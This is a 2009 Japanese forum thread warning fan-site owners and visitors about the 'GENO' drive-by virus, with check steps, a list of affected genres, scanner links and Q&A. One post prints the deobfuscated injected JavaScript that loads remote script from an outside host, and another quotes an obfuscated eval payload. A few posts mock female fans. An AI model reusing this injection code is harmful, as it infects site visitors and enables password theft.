【管理も】同人サイト・GENOウィルス注意4【閲覧も】

新種のコンピュータウィルスが流行っています。
感染サイトを踏んだだけで発症し、大半のアンチウィルスソフトで検知されません。
変化が早く、一部の検知可能なソフトも最新型には対応できていない状況です。

感染の場合ワクチンはなく、クリーンインスコ必須、パス変必須（ＦＴＰパス抜きされる）です。

現時点で大半のセキュリティソフトをくぐり抜けてしまうため、
とりあえずジャンル関係なく、全ジャンルでサイト管理人・閲覧者に感染チェックを推奨します。
特にサイト管理人は二次被害を起こしてしまいますので、早急な確認が望ましいと思われます。

・確認点

【sqlsodbc.chmが改ざんされていないかを確認】
　Windows XP:　改ざんされていなければ
　C:\WINDOWS\system32\sqlsodbc.chm　50,727 bytes
　Windows 2000: そもそも存在しないはずなので、
　C:\WINDOWS\system32\sqlsodbc.chmが無いことを確認。
【cmd.exe、regedit.exeが立ち上がるかどうか】
　このウイルスに感染しているとコマンドプロンプト、レジストリエディタが立ち上がらない。

前スレ
【管理も】同人サイト・GENOウィルス注意3【閲覧も】
http://changi.2ch.net/test/read.cgi/doujin/1242466997/

同人サイト向け・通称「GENOウイルス」対策まとめ
ttp://www31.atwiki.jp/doujin_vinfo/

当スレでは感染報告については、注意喚起の観点から

・感染が認められたジャンル名

のみ報告ＯＫです。
感染報告をする際は、ジャンル名・ジャンル内シリーズ名など
伏字・略称にせず、わかりやすく書いてくだささい。

晒しやウォチ、風評被害を防ぐため、個人サイトを特定できる形で話題に出すのはＮＧです。
また、アドレス晒しは、踏むとマジで危ないので絶対厳禁。

同人サイト向け・通称「GENOウイルス」対策まとめ
http://www31.atwiki.jp/doujin_vinfo/

次スレは>>900が立ててください
立てられないなら立てられないで極力早めに報告してください

日経セキュリティ・ホール＆ウイルス「JSRedir-R」 　　　
　http://itpro.nikkeibp.co.jp/article/NEWS/20090515/330053/

>・確認点
ttp://www.kaspersky.com/virusscanner
亜種が出てきてるのでフルスキャンしてくだしい

同人サイトなどへの感染例が報告されたジャンル一覧。サーチや情報サイトなど閲覧者多数サイト感染による被害の爆発的拡大が予測される場合、特に（）内に記載。

■アニメ系
エヴァ(小説サーチ) / 忍たま乱太郎 / プリキュア / 天体戦士サンレッド / コードギアス / レッツ&ゴー / イナズマイレブン
ガンダム：SEED、00 / ポケモン / ハルヒ

■少年漫画【週刊少年ジャンプ系】
リボーン(オンリー＋プチオンリー告知サイト・ファンサイト) / ジョジョの奇妙な冒険＋スティールボールラン/ ワンピース / テニスの王子様
デスノート / D.Gray-man / 遊戯王無印＋GX＋5D's / 銀魂 /
■少年漫画【Ｇファンタジーなど少年ガンガン系、小学館、その他】
鋼の錬金術師(オンリー告知サイト) / 隠の王 / 黒執事 / パンドラハーツ / コナン
■青年漫画
ヘタリア (PC鯖使用の携帯向け同盟) / おお振り(アンソロ告知サイト) / 福本：越境、銀金

■ゲーム【RPG、SRPG、ACT】
幻想水滸伝 / テイルズオブ：ジアビス / STAR OCEANシリーズ / INFINITE UNDISCOVERY / メガテン：真、サマナー、ライドウ、P4 /
戦国BASARA(アンソロ告知サイト) / 戦国無双 / バイオハザード / セブンスドラゴン / ゼルダの伝説 /
■ゲーム【乙女、BL、男性向け】
Vitamin / 遙かなる時空の中で / Starry☆Sky / クインロゼ / 薄桜鬼 / 金色のコルダ /
ニトロプラスキラル：咎狗(アンソロ告知サイト)、sweet pool / 鬼畜眼鏡 /
Fate / ひぐらし
■ゲーム【アーケード、シューティング、格闘、シュミレーション※SRPG除、その他】
ポップンミュージック / ビートマニア�UDX / 東方 (超大手感染情報) / ブレイブルー / 牧場物語 / 逆転裁判 /

■小説・ライトノベル - 小野不由美（サーチ) / ハルヒ
■創作 - 創作小説 / 男性向け創作同人ゲーム / 女性向け創作同人ゲーム / オリJUNE
■特撮 - 仮○ライ○ー：電王、剣、
■生モノ - ジャニーズ：K○T-TUN、N○WS / テニミュ(ファンサイト) /
■その他・音源系 - ボーカロイド(サーチ) / Sound Horizon /
■他の接触確率の高そうな報告例 - 非同人系ゲーム同盟サイト / 模型イベントホビーコンプレックス告知サイト

読売のわかりやすい解説
http://www.yomiuri.co.jp/net/security/goshinjyutsu/20090130nt16.htm

アクティブスクリプトは切らなくても大丈夫だよね？

これがテンプレ1じゃないの？>>1

新種のコンピュータウィルスが流行っています。
感染サイトを見ただけで感染発症し、大半のアンチウィルスソフトで検知されません。
変化が早く、一部の検知可能なソフトも最新型には対応できていない状況です。
全ジャンルでサイト管理人・閲覧者に感染チェックを推奨します。

特にサイト管理人は二次被害を起こしてしまいますので、早急な確認が望ましいと思われます。

【よくある質問】
Q：感染するとどうなるの？
A：あなたのパソコンに侵入したウイルスは、ネットに繋がった時点で
　パスワード、クレジットカードの情報、FTPのパスワードなどを抜いてしまいます。
　感染者のパソコンからアップされたサイトのファイルにウイルスコードが自動挿入され、
　そのサイトを見た人を感染させます。

Q：VistaとMacは感染しないの？
A：某企業サイトでの発見直後はVista、Macには感染しないと言われましたが
　新種も現れており安心できる状況ではありません。

詳細・感染の確認方法・対策は以下のまとめWikiと>>2-5あたり

同人サイト向け・通称「GENOウイルス」対策まとめ
ttp://www31.atwiki.jp/doujin_vinfo/

自ジャンルの行きつけサイトが感染してるか調べたいんだけど、
サイトが感染してるか調べられるチェッカーのアドレスを教えてもらえないでしょうか
サイト　ウィルス　感染　チェッカー　などで検索したけど見つからず。

こちらでもまとめwiki管理人さんへのレスは>>3でいいのかな？

＞600 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2009/05/16(土) 23:40:25
＞var a="ScriptEngine",b="Version()+",j="",u=navigator.userAgent;
＞
＞if(
＞　　　(u.indexOf("Chrome")<0)&&
＞　　　(u.indexOf("Win")>0)&&
＞　　　(u.indexOf("NT 6")<0)&&
＞　　　(document.cookie.indexOf("miek=1")<0)&&
＞　　　(typeof(zrvzts)!=typeof("A"))
＞){
＞　　　zrvzts="A";
＞　　　eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;");
＞　　　document.write("<script src=//m"+"artuz.cn/vid/?id="+j+"><\/script>");
＞}
＞
＞埋め込まれたJavaScript攻撃コードを読みやすくした奴がこれな

＞616 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2009/05/16(土) 23:44:55
＞>>600
＞これだと、ChromeとNT 6以上を除外してるだけだな。
＞Firefoxも対象だ。


Firefoxでも感染の危険はあります
IE専用ではありません

このサイトは既出か？
参考にしてほしい。

http://www.virustotal.com/jp/
Virustotal は 疑わしいファイルを解析するサービスであり、
ウイルス、ワーム、トロイの木馬およびアンチウイルスエンジンにより
検出される全てのマルウェアを素早く簡単に検出します。

>>8
　切れ

>>10

自分のサイトのソースを見れば確認できるって
もしかしてサイトの全ファイルのソースを書き換えられてしまうの？

FC2繋がらないな
重いだけ？

>>10
wiki見ろ

>>10
http://wepawet.cs.ucsb.edu/
ここで「URL」と書かれている右のフォームに
感染が疑われるURLを入力。
「Resource type」のチェックボックスは「JavaScript/PDF」にチェックを入れ、
「Submit for analysis」をクリック。

引用だけど

>>16
家の場合はサイト内の8割が改変されてたよ

BuffaloのルータでのＩＰ遮断方法を書いておく。機種はWHR-HP-AMPG
Buffaloのほかの機種でもいけると思うから自分の環境に合わせて読んでくれ。

http://192.168.11.1/　に接続
左側のメニューから
　　　ネットワーク設定→パケットフィルタ
右側の画面から
　　　「IPフィルタ登録情報の編集」というボタンを押す

>>3から拒否すべきＩＰを全て登録する
　　　動作：無視
　　　方向：WAN→LAN,LAN→WANの両方
　　　プロトコル：全て
　　　ＩＰ：以下に記載（現時点で発見されているＩＰ。IPの後の『／ｘｘ』も入れること。）
　　　　　WAN→LANなら「送信元」、LAN→WANなら「宛先」の欄に入れること。LAN側のＩＰは入れなくてよい
94.229.65.160/27
94.247.2.0/23
95.129.145.58
95.129.144.0/23
78.109.29.112

以上です。正直パケットフィルタとか初めてやったので間違えてるかもしれないけど・・・
参考になったら幸いです。あと、ググッたら「すぐ破られる」と書いてあったので他の対策とあわせてやってください。

>>17
うちも繋がらない＞fc2
で、fc2の板を探そうとしたら検索サイトが開かなかった

>>http://changi.2ch.net/test/read.cgi/doujin/1242466997/1000

ホントそうだよな

やたらと不安がるがウイルスの感染の仕方を把握してない人もいるな

自分もFC2繋がらない。
FC2が引っ掛かったから緊急シャットアウトとかかな・・・

>>17
同じく繋がらない
一瞬ビビった

FC2繋がらなくなった。
自サイトもブログも。
こんなときにやめてくれよ。
激烈に重いが、びみょーにつながったりもする。

>20
早い回答ありがとうございます
たくさんHTMLファイルあるからどうしようかと思った

fc2がつながらなくなったが
いつもみたいにただ重いだけかそれとも…

ダウンアド＝ＧＥＮＯウイルスって訳でもないらしいけど
仕組みを分からせるのには良さそうだね>>7

あと前スレ995
本当に行ったんかいｗｗ

>>前スレ960
IP遮断するのはファイアウォールの設定じゃないか？
Avast!はアンチウイルス機能だけでFWの機能は無いから、
Windows標準のか他のソフトなりで遮断する必要があると思う

>>3のwikiは見ても大丈夫？
最近サイト巡りしてないとはいえ気になるからチェックしたいけど
wiki自体が感染してるとかはない？

FC2、この時間帯はいつも重いけど
即座に繋がりませんって出る。
こんなんは初めてだな。

>>12
これってどこの板？

該当ジャンルサイトさんのブログでこのウイルスのこと注意してて、
『私のサイトは大丈夫そうでしたが』とあったから、暇つぶしに見に行こうとしたら繋がらなくて死ぬほどビビった。
fc2…こんなときに止めてくれ……ウイルスじゃないよな？即cmd.exe開けるか確認してしまった

>>10
サイトが感染してるか調べられるんじゃなくて、
あくまでもソースをチェックして感染してるかどうかを
自分で確認するんだからな。

みんな同じ事をするからな

ほんの数分前には普通に繋がったんだ。
うち、日記がfc2で、書き込んだばっかり。
編集しようとしたらもう繋がらなかった

>>31
じゃあ見なくていいよ

問題のサイトをぐーぐる先生でみるだけで
avestﾀｿが怒るんだが・・・

fc2全滅じゃね
まさか…

>>31
今WIKIは管理人しか編集できない
さらに言えば@Wikiでは仮に管理人が感染しててもページが感染することは今のところありえない

>>1乙
IEでフラッシュプレーヤーの更新出来ねえファックファック

FC2はいつものことじゃねーの？

凄い勢いでスクリプト書き換えてるみたいだね＞ウィルス
火狐陥落も時間の問題かも…

>>12
chrome最強伝説！？

>>41
ありがとう。見てくる

4gamerとファミ通が感染したぞーパンデミックじゃ（＾o＾）ノ

前スレで
＞あとFlashはブラウザごとに更新がひつようだからな。
＞IEでFlashを最新にしても火狐のFlashは最新にならない。
＞別におこなうのが必要。
って書いてあったけど、さっきFirefox自体をインストールしたばっかりの場合は、
Firefox用のFlashはそもそも入ってないって状態のこと？ならこのままFlash入れない方がいいの？
それとも一番古いFlashが入ってるとかで、更新しないと危ない？

fc2ブログ37鯖74鯖78鯖即座に404

こっちもつながらん。FC2もか？

fc2ブログで感染してるのがあった、なかったって話があったから
運営側が一旦全部止めてチェックかけてるんじゃないの

ってことはないか

ここでLynx最強伝説を唱えておく

>>1乙

最近活発なジャンル者なんだけど、昨日ここ見てHPに注意載せた
今日アクセスログでブラウザ情報見たらIE6が25%でIE7が50%
JS切りも全体の5%に満たないとか…

ここ見てると騒ぎすぎなのかなってくらいに見えるけど
実際対応してる人って、かなり少ないんだな…注意載せる他に何すればいいんだろ？

fc2ホームページも同様につながらなくなった

もう何がなにやら・・・

さっき見に行って自分とこは大丈夫なの確認したとこだFc2

>>23
FTPのID,パスワードは抜かれるの確定だけど、
現段階では他のID、パスワードは不明。クレカ番号も不明
ただし、警戒は怠るな
として欲しいだけなんだけどね
wikiに載せるならあまりにも不正確だと信頼なくす

>>29
呪いのプロってすごいね
冗談抜きで生半可な気持ちじゃ手を出してはいけない感じだった

まあFC2は少し前にも全鯖落ちとかしてたし

>>47
MAJIKA

>>51
もし本当にそうだったらかなり感動するレベル

ほんとだfc2繋がらない。
チェック中なのかな。

>>47
本当か？こんな時に釣りとかやめろよ？

>>31
ここは平気でも普通のwikiは感染ページにリンク張られたりするから注意

>>51
それならいいんだけどな…
サイト閉めたけど閉めましたindexのみ置いてるんでちょっと気になってる

>>49
その37鯖74鯖とかって？

>>52
流石にテキストブラウザはちょっと
不便すぎやしないか今の時代

4亀感染とかマジかよ…

>>51
それなら大歓迎
でもどうせ週末恒例のエラーですよ

>>42
IEだけどできたぞ
更新する時だけはJava許可しとけよー

AdobeReaderのセキュリティホールは週１回ブログをチェックするといいぞ

http://blogs.adobe.com/psirt/

Vistaは感染しないの？

>>33
セキュリティ板のGENOスレかと

>>47
4gamerとファミ通が感染！！？

>>43
いや自分とこもＦＣ２だが
サイトは恐らく読み込み済みのデータだからすぐ出てきたが
ブログが出てこない。異常に遅い。ちなみにブログのサーバーは60
怖くなったからすぐ閉じたけど

やべええええええええええええええ

http://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q1325728558

ヨミサーチを設置後、htmlソースがおかしくなりました。
<script language=javascript><!--
(function(t){eval(unescape(('.76ar.20a.

ベストアンサーに選ばれた回答

問題ありません。
特に気にしなくても結構です。

ｽﾚの流れ早すぎｗ
うちもソースチェッカー始めたら、さっそくFC2のサイトさんが全滅気味

前ｽﾚ>>964
ありがとう
とりあえず自分もMacからソースチェッカー地道にやってみた
LinuxやMacまでターゲットなあしゅが出きたらもう＼(^o^)／ｵﾜﾀ

Fc2は全鯖落ちてるが
最近定期的に鯖死亡してるからGENOとは関係ないと思われ

とりあえず感染したら
必要なファイルは外付けに移動させれば大丈夫だよな
特定ファイルにしか感染しないし

>>47
見に行ったけど何もないぞ
ソースも普通だし

>>47
mjd？

もっと注意喚起した方が良いんじゃないの？
Yahooとか働けよ。

カスペルスキーラボ：ウイルスウォッチ
　ttp://www.kaspersky.co.jp/viruswatchlite?search_virus=Trojan-PSW.Win32.Kates.c&x=0&y=0&hour_offset=5

Trojan-PSW.Win32.Kates.c
　　検知時刻
　　　　2009年5月15日　午前２時48分
　　更新ファイルリリース日時　
　　　　2009年5月15日　午前９時07分

作ったやつこんだけ個人情報集まりすぎてどうしたらいいのか
本人もパニックになっていると推測

>>75
うわああああああああああ
誰だこの回答した奴うううう

JavaScript切れば、ネサフしてもおk？

前スレ>>979
うちはこんなのが出た
http://www.dotup.org/uploda/www.dotup.org34776.jpg

まぁ日ごろからメンテしてない奴の自業自得だよな

それってどこで調べてるの？
>>47

20分くらい前>>3のwiki見たら中国語？みたいな感じで化けてて
エンコード変えてみても化けてて
ウィルス感染かと思って不安になったんだけど
前スレ見てもあまり書いてないし今は化けてないみたいだし
ウィルス感染かどうかわかりますか？

>>47
みたいなのは複数の具体的なチェック結果報告がない限りスルーしろって
昨日から何回もこういうガセ書き込んでる奴いるだろ

しかしこれ下手したらネット世界終了のお知らせ！とかなりかねなくないか

これいつになったら落ち着くんだろう…むやみに検索もネサフも出来やしない
早くおさまってくれるといいな

>>47
それ本当ならやばくね？

>>86
これがGENOウイルス？

いつだか書き込みした者だけど
「非同人系ゲーム同盟サイト」って自分が書き込みした奴だろうかね。
今日見てみたらウィルスの反応なし。avestさんも警告しなかった。
結局感染してたみたいだが、報告とかお知らせとか全く無し。

もしもう答えが出ていたらすみません。
Windowsに元からあるセキュリティ設定の
「制限つきサイト」にもIP入れておいたほうが良いですか？
一応スクリプトなんかをブロックすると書いてあったので
気休め程度にはなるのでしょうか

こんな時に釣りとかアホか

>>71
>>9

>47
誤報だった場合
後日損害賠償請求される事もあるから慎重に

・Adobe Flash Playerを更新
バージョンの確認 最新：10.0.22.87
ttp://www.adobe.com/jp/software/flash/about/
ダウンロード
ttp://get.adobe.com/jp/flashplayer/

・(入れてる人は)Adobe Readerを9.1.1に更新し、Javascriptの実行を制限する
ダウンロード 9.1
ttp://get.adobe.com/jp/reader/
ダウンロード後、[ヘルプ]→[アップデートの有無をチェック]することで9.1.1にし、

[編集]→[環境設定]→＜javascript＞→＜Acrobat Javascriptを使用＞のチェックを外し、[OK]

>>99
それくらい知ってて確信を持ってレスしたと思ってるから皆食いついたんだろ

>>12 MacでブラウザはSafari
大丈夫だよね？

fc2やばいの？
ロリポとか忍者とか有名鯖はどうなの？

>>3のまとめ管理人です
新スレ乙、正直流れが速すぎて必死ｗ
ミスのないよう落ち着いて更新していこうと思うので、Wikiにかかわる情報は
>3へアンカつけてレスしてください
このレスはWikiにあったらいいな、とかいうのも、>3で

現在35まで確認、前スレの分も含めてすべて追加修正したつもりなので
各自確認・指摘をお願いします

>>96
IP指定するよかまるっとjs切断の方が無難じゃないか？
IP指定するならファイアウォールの方で

ちょっとカスペ先生で質問なんだが、オンラインスキャンはやっぱ全体じゃなきゃだめ？
いや、検索時間ながくてなぁ……。

＞＞67
まじでか！！！！？

>>69
JavaScript許可しても何しても無理だー
てか何でこんな訳分からん方法でしかインストールできないんだよ

>>104
まとめ管理人さんマジ乙
適度なところで睡眠取ってくだされ。

おまいらも適当なとこで寝ろよ。睡眠不足は思考力を下げる原因になるからな。

とにかく自分達が楽しければ、セキュリティ対策なんてどうでもいいと思ってる奴が
腐女子に多いからこれだけ同人サイトに広まったんだろうね
感染した奴はこれを機会に100万回は反省しとけ
タダでさえ腐はいろんな場所でウザがられてるんだから
それ以外でこれ以上迷惑かけるなといいたい

カスペでスキャンできないのは何故なんだorz

前スレでセキュリティソフト重複させるとアウアウって聞いたけど、
>>30のようにavastとWindowsFirewallって重複させても大丈夫なの？

>106
体験版落としてローカルで完全スキャンした方が早い。
320GBのノートPCでも40分くらいかかるけど、今回問題となっているFlash・AcrobatReaderの
旧バージョンは100％「脆弱性に問題あり」として隔離か削除を推奨してくる。

まとめの人乙…
fc2はID含め全面的につながらん
週末の夜だとしてもまったくだめだ
チェックしてくれてるんだといいんだけどなー

>>110
ドサクサ紛れの腐女子叩きをしている場合じゃない

>>102
>9
スレも読まずに質問してんな

>>111
javascript切ってると出来ないぞ

イーセットで検出出来る？

>>112
ＦＷはセキュリティソフトとはまた違うのでは

FC2は前から一部のサイトが改ざんされてるウンタラカンタラって運営の方から
告知はあったから
この際大々的にやってるのかもしれないと信じたい

>>115
だけど女に知識が乏しい人が多いのも事実なわけで
携帯からざっと見たけど注意喚起してるとこも話題に出すとこも
あまりにも少ない
むしろ平常どおりにしてるとこなんてザラだった
サーチ管理人にもメール出したけど反応ない

スキャンは寝てる間とか会社に行ってる間にすればいいだろ

>>105
即ﾚｽありがとうございます
一応火狐でｼﾞｬﾊﾞｽｸは切り、最低限の対策はしたのですが
制限つきサイトにも入れておいたらまた何か違うのだろうかと思ったもので。
やっぱりｼﾞｬﾊﾞｽｸ切ってｿｰｽ確認が一番の回避法なのでしょうか

>>3まとめサイトの管理者様へ

FWのIP遮断の設定方法について
今現在Norton Internet Security（ver.16.5.0.135）の設定方法のみが掲載されているようですが
旧バージョン使用者のために
ついさっきまであった、ノートン2008での設定方法も併記しておいてもらえると助かります。

>>3
>>57にあるように、
現段階ではFTP以外の（各種ウェブサービスで使われる）ID、パスワードやクレカ番号
が盗まれるかどうかは不明です。警戒しといたほうがいいことは確かですが。

今更だけどさ…前スレ935は火狐をDLしたいんじゃないの？
なんかFlash最新版の話になっててスッキリしなかったんだけど

>>69
インターネットのセキュリティ下げたら出来たわ
adobeのサイトは信頼済みサイトに放り込んでたからそっちだけ下げれば良いと思ってた
こんな形式でしかアップデート出来ないのはマジで勘弁して欲しい

感染サイトが閉鎖されていない時点で
GENOサイトをもう悪くいえないな

女向け同人は確かにこういうの面と向かって注意しにくい雰囲気あるよな。
ネトゲでウィルス流行したときとかは、
感染して放置の掲示板とかブログはURL（リンクしないように置き換えして）張られてたが
「個人のサイトは晒しになるからだめー」とかそういうノリだもん。未だに。

>>121
はいはい男女板でもいこうねー

>>108
インストール開始時も完了時もウィンドウ出ないから気づいてないだけじゃないか？
完了したらFLASH流れる

あと開始前にブラウザの黄色いバー押せって書いてあったけど
製品によっては出ないみたいで自分は出なかった
紛らわしい製品もあるし、偽物もあるから気をつけてな

>>106
カスペ重要の方でスキャンしたけど、それでも２時間かかったｗ
完全の方が安心できると思うけど、重要でもsystem32をスキャンしてたからいいんじゃね？
よくわかんないけど

ぐぐったけどそれらしいのが出てこなかったんで教えてください
Java Scriptを切ったんだけど、特定のサイトのみ有効にするって事は出来ない？
JS切ったら常駐スレをread.htmlで見れなくなったからさ

>>129
ようするにセキュリティより自分達が大事ってことだろ
自分達がよければ一般人に迷惑かけてもおｋって
思考回路なんだろうなぁ

>>3
テイルズアビスだけじゃなくね？VとS取り扱いサイト感染してるよ

一気にセキュリティの認識たかまったな。

>>121
確かに、自分が再三注意をあげてたら友人がミクシで記事かいてくれたんだが
今のところレスは付いていない様子。同人での交流が盛んだしなんらかの反応があることを期待してたんだがなあ
危機感がないというか、対策ソフト入れてりゃ大丈夫だろー程度の認識の人は多いと思う

fc2繋がった。
ほんとビックリするぜ、もう・・・

今現在FC2のサーバーはttp://blog.fc2.com/status/で確認できるけど、とくに重いってわけでもない。

(blog1,2は表示なし。)

ウイルスセキュリティZEROを使用中なんだが、こいつでGENOを防げる気がしない
ZERO使用中なのにavastインストールするのはまずいのかな

>>3
>>134の補足
V＝テイルズオブヴェスペリア
S＝テイルズオブシンフォニア

自サイトにwiki貼って注意喚起したら
火狐で見てる人がグっと増えたな
辺境サイトでも一応効果はあるみたいでﾖｶﾀ

FC2戻った。
ほっ

>>133
てか個人情報抜かれる危険性あるだけで
めちゃ火の粉ふりかかってるんだがな…

ふうむ。
まあオフ版をダウソするかな……

>>139

俺はアンインストしてインストしたぞ。

>>127
入れ違いだったな
とりあえずよかったけど、DLのアドレスと大元とでドメイン違うのは結構あるぞ
まあ、あの形式もどうかと思うが手軽でもあるから一長一短かもな

>>139
ウイルスセキュZEROのうｐだて怠慢が酷くてavastに乗り換えた俺参上
原田ウイルスの時は苦労したぜ・・・

カスペノオンラインスキャンしようとしたら何回やっても
アップデートに失敗しましたってのが出て進めない、
どうすれば解消するんでしょうか

ノートンじゃ反応しないけど
カスペ先生だと真っ赤orz
ただcmd.exe、regedit.exeも立ち上がるんだよな
どういうこっちゃ

>132
Firefox＋NoScriptでストップをかけているなら「一時的に許可」できますが
騒動が落ち着くまで常駐スレを専ブラで見ようとは思わないのですか？

まとめサイトにあるウイルス対策ソフトじゃなきゃ
解決できんのか？

FC2で作成したサイトは普通に立ち上がるし、23鯖ブログも立ち上がりました。
どこも時間差があるだけの一時的なものだと思います。

>>139
とりあえずいれとけ
重複してもそれ程問題ない
ZEROﾀｿはｽﾙｰだぞｗ

>>121
通報者への返信よりも対策を優先させてもらって、落ち着いてからお礼の連絡したりするけど…どうなんだろうね？
管理用メールを携帯に転送させてる人じゃないと、気付くの遅いかも

FC2繋がるとこもあるんだね

あんまり男管理人に夢見ない方がいいよ…男性向けジャンルだからこそ思うｗ

>>149
テンプレ見ておかしいところ無ければ兵器じゃね？

認識甘いのは腐女子に限った話でもないと思うが
前スレでも誰か言ってたけど、
同人界は個人サイトの観覧者の大部分が
サイト管理者でもあるという特徴があるからなあ
いちどジャンル内にウイルスが持ち込まれたら
広がり方が半端ない

>>149
亜種だからさっさとクリーンインストしろ

同人界隈の大手は、ページの更新早いから感染も早けりゃ対策も早いから
良いような悪いような・・・・

ttp://www1.axfc.net/uploader/Sc/so/1953
sqlsodbc.chmのMD5確認してくれるソフトみたい

>>134
ヴェスペリアとシンフォニアでいいのか？

>>3

>>160
そんなあやしげなもんDLできない

>>160
こええよ

お、自分のところもＦＣ２復帰したよ
ウイルスは関係ないのかな

どうもNorton 360じゃIP指定遮断ってできない？

カスペがデータベース更新のところでエラー停止するんだけど何で…
ＪＡＶＡアプレット開始に失敗しました！って出るときと出ない時とあるんだけど
同じ人いるかなぁ

ニフティでは一応シロだったけど
avastアンチウィルスチェストに入ってきたkernel32.dllの最終更新が3月21日なのが
偶然にしては気持ち悪い（ウィルスなしと出てる）
ヘルプファイルの改ざん更新日も3/21だったよね？

一応cmd.exe、regedit.exe両方とも立ち上がるし、
ニフティのオンラインスキャンの「推奨」でウイルスは発見されなかったんだけど、
カスペのオフ版でフルスキャンしたほうがいい？

>>140
詳細ありがとうー

>>161
そうです

ただ火狐使えば安心と思っちゃってる奴増えてんなー
普通に感染対象なのに

携帯のフルブラウザで見てるんで、感染した可能性があるんだけど、どうしたら良いの？

とりあえず感染してないのを確認したら何もせずに寝るのが一番良いんでねーの？

>>158
うぇえええ
亜種かよ

頼むから>>118に答えてくれ
心配だ

質問です
Windows Meの場合、C:\WINDOWS\system32\sqlsodbc.chmは元からあるものでしょうか？
ちなみに検索かけたらありませんでした

Pixivが異様に重いんだが
俺だけか？

>>169
それでなくても火狐ってまんま使ってると危ないしな

自分もカスペノオンラインスキャンしようとしたら何回やっても
アップデートに失敗しましたってのが出る
javaScript切ったりはしてない。なんでだ。

>>172
あるいは無関係の別のウイルスかも知れん

>>3
検討お願いします

サイト名を英ソフォスの命名に変えた方がいいのでは
前スレのITproの記事から【JSRedir-R】

>>173

まとめみてから、レスしろよ。

>>124　追加しました
>>140で追記してきます

170まで確認

>>175
ランカータイム、土曜日だぞ。

>>175
今対応中だってさ

>>119
そうだったのか
FW消してしまったｗｗ

>>175
ウィルス関係なくこの時間は重いと思う

ウィルスの情報とかwikiは拡散するべき？

>>175
pixivっていつも重くね？

昼から進みすぎだなｗ
>>141見てここで唱える陰謀論が有るとすれば火狐関係者がこの機にIE駆逐しｙ

おっと誰か来たようだな。

>>145
>>147
>>153
ありがとう
分かっちゃいたけどZERO…お前って奴は本当に…
アンインストとなると色々あって夕方以降になるし、重複しても平気なんだったらavastインストしとこうかな

もしかしたら明日の大阪のイベントの方でてんぱってたり
早寝してたりするのかもしれない＞腐女子
実際専スレにここのスレ貼られても「豚のほうが心配」とか言ってたバカがいた
ネット？なくても生きていけるしｗｗｗて感じなんだろうなあ
感染して痛い目にあえばいいと思えてきた

fc2復帰したな
たびたび出てるけど携帯ってどうなんだろうな
フルブラウザだと感染するのか？
FTP使ってないからサイトのパスは大丈夫だとしても携帯のネットバンクとかあるよな

>>174
セキュリティ板の方で聞いた方がよくないか

>>178
おｋ
とりあえずノートンは使い物にならんということがよくわかった

>>170
携帯はOSが違う
MACやLinuxと同じでJSは解釈するけど現在のところ携帯の感染報告はないよ

>>166>>177
オンラインスキャンだよね？
自分もデータベースアップデートの所でエラーが出て進めない

>167
完全スキャン推奨
あと完全スキャン→全般で「すべてのファイルをスキャン」にしろよ。
ファイル形式によるスキャン・拡張子によるスキャンは亜種を取りこぼす危険性がある


自ジャンルはだめだ…注意喚起するブログはいくつか出ているけど、大半の管理人・
閲覧者とも明日のイベントに意識が向いてしまってWebサイト感染をメールフォームで
報告してもスルーされてる。

何度かIEの強制終了があった上、昨日バスターが強制終了されて
青くなってたんだが、バスターでの検索・sqlsodbc.chm・cmd.exe・regedit.exeの
チェックしたらセーフだった

しかしこないだから、動画サイトとかフラッシュプレーヤー使ったサイトが
見られない…最新バージョンダウンロードしても駄目だし…

>>190
豚の方が心配なのは仕方ないんじゃ

自分の環境だとカスペはインターフェイス変わってから
「ＪＡＶＡアプレット開始に失敗しました！」って必ず出る様になった
もう数ヶ月前からずっとこれだから諦めて、今はニフのオンラインスキャンしてるよ

>>190
……当たり前じゃね？

>>192
下手にあそこには意見も止めない方がいいよ
変なのも沸いてるし最低限見とくだけにしとこう

>>189
町にパソコン専門店があるなら駆け込んでカスペル購入したらどうだい
avastも良いけど、検出率最強なのはカスペルだからね。

>>182
そっか、今日土曜日か。

>>149
カスペオンラインやって真っ赤だったから焦ったら、
全部メーラーの迷惑メールフォルダ内のファイルだった
なんてこともあるから冷静に

さっきの自分だよ

>>194
ありがとう。安心した。

念のために聞いておくけど、PS3やPSPみたいにインターネットブラウザ機能のあるゲーム機があるけど、
あれからのアクセスも危ないのかな？

質問・雑談スレ290＠運用情報板
http://qb5.2ch.net/test/read.cgi/operate/1241939123/
439 名前：root▲▲ ★[] 投稿日：2009/05/14(木) 21:57:26 ID:???0 ?DIA(102226)
まほらさんは、ここを読んでおられると思いますので、
ご注意いただけると思います。

maido3.cc の Web にあった注意内容:

【目視で確認する方法】
※Windows XP をご利用の方のみ
・sqlsodbc.chm の確認
　ウィルスに感染した場合、C:\WINDOWS\system32\sqlsodbc.chm が上書きされます。
　ご利用のパソコンの sqlsodbc.chm を確認してください。

今 Google さんに聞いてみて出てきたリンク:

sqlsodbc.chmの改変を継続的にチェックする方法: 高機能サロン管理システム★さまれぼ！★開発日記
http://excomp.cocolog-nifty.com/blog/2009/05/sqlsodbcchm-724.html

>>190
パソコン＜＜＜自分の命
なのは当然な気もするが

>>196
ありがとう、ちょっとやってきます

>>188
単純に火狐使えば安全ってわけでもないんだがね
スクリプト解析したら普通に対象になってるらしいし

>>204
IDがボリューブ。惜しいな

>190
ﾎﾞｶﾛも似たような状態なわけだが
ｲﾍﾞﾝﾄのが大事

結局ウイルスソフトはウイルスバスターが一番いいの？

豚の方が心配をバカって言うのはどうなのよ
近所に住んでるから怖いよそっちも
家にいても外出ても落ち着かねー

＞pixivが重い。。
＞1分未満前 webで

pixiv運営のダイイングメッセージかこれ？

>>166
自分もずっとその状態が続いてる
okwaveやyahooに同じ状態の人が何人か質問してた
体験版でスキャンするしかないかな

他所覗いてきたが
「〜が感染すれば面白いな」とか「〜厨のせいで」
とかの発言に狂気を感じるわ

>>190
腐女叩きはよそでやってくれんかね？
自分の思い通りじゃないと痛い目見ろってどんだけ幼稚なんだよ

>>205

ウィルスというのはwindowsを狙ったものがほとんどなんだよ。
windowsがクライアントＰＣ圧倒的だから

ウイルス？そんなんよりイベントのが大事！
とか言ってる人に限って感染してると
何で早く教えてくれなかったんだ！と切れるっていうね…

>>195
使ってるアンチウイルスによっては遮断されるとか
一時的にアバストやらバスターやら停止してオンラインスキャンかけてみな

>>214
不覚にも吹いたじゃねーか

>>3
牛寺スレより
平成ライダー
電凹サイトの他に剣サイトでも感染の報告ありです

